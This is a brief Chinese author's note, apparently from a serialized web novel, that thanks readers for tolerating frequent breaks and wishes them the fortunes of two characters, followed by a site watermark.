感谢更新期间对我总是请假能包容的大家,祝你们像叶幸司一样荣耀加身,像俞悄一样爱与被爱【你现在阅读的是魔蝎小说 moxiexs】